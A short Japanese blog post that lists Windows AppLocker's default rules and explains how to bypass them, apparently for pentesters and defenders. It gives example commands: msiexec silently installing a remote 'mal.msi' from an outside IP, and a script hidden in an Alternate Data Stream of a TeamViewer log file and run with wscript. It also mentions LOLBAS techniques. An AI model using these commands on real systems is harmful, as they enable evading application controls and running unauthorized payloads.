見出し画像

#151 AppLocker Bypass

 AppLockerは、Windowsの管理機能で、許可されたファイルやスクリプトのみ実行できるように制限します。管理者以外が無用なことをしないようにするのが目的ですが、適切なルールが設定されていると攻撃者にとってもやっかいです。
 しかし、デフォルトルールなどの甘い設定ならバイパスする方法は数多あります。

デフォルトルールのバイパス

AppLockerでは、実行ファイル、インストーラー、スクリプト、UWPアプリ、DLLのルールをそれぞれ設定できます。

デフォルトルール

実行ファイル

  • (Allow Everyone) All files located in the Program Files folder

  • (Allow Everyone) All files located in the Windows folder

  • (Allow BUILTIN\Administrators) All files

インストーラー

  • (Allow Everyone) All digitally signed Windows Installer files

  • (Allow Everyone) All Windows Installer files in %systemdrive%\Windows\Installer

  • (Allow BUILTIN\Administrators) All Windows Installer files

スクリプト

  • (Allow Everyone) All scripts located in the Program Files folder

  • (Allow Everyone) All scripts located in the Windows folder

  • (Allow BUILTIN\Administrators) All scripts

UWPアプリ

  • (Allow Everyone) All signed packaged apps

DLL

  • (Allow Everyone) Microsoft Windows DLLs

  • (Allow Everyone) All DLLs located in the Program Files folder

  • (Allow BUILTIN\Administrators) All DLLs


実行ファイル

このルールでは、C:\Program FilesC:\Windows以下のファイルであれば実行できます。この中で、書き込み可能なフォルダを見つければ好きなファイルを保存して実行できます。

インストーラー

正規のバイナリを経由してインストールすることでバイパスできます。

msiexec /q/i http://192.168.1.1/mal.msi

スクリプト

基本的には、実行ファイルの場合と同じです、ただし、書き込み可能なファイルがあれば、Alternative Data Streamを使ってバイパスできます。

type payload.js > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:payload.js"
wscript "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:payload.js"


LOLBAS

 AppLockerで制限されていない、正規のバイナリを使うことで簡単にバイパスできます。例えば、PythonやJavaのような言語がインストールされていれば、かなり自由にスクリプトの実行ができるでしょう。ちなみに、Office系も正規の実行ファイルなので、VBAも好きに実行できます。
 また、Windowsにもともとインストールされているユーティリティをうまく使って目的を達成する方法もかなり研究されています。


まとめ

 AppLockerは追加の防御レイヤーになりますが、適切なルールが設定されていなければ、簡単にバイパスできます。利便性も考えたうえで、適切なルールとは?というのが難しいところではありますが。

EOF

いいなと思ったら応援しよう!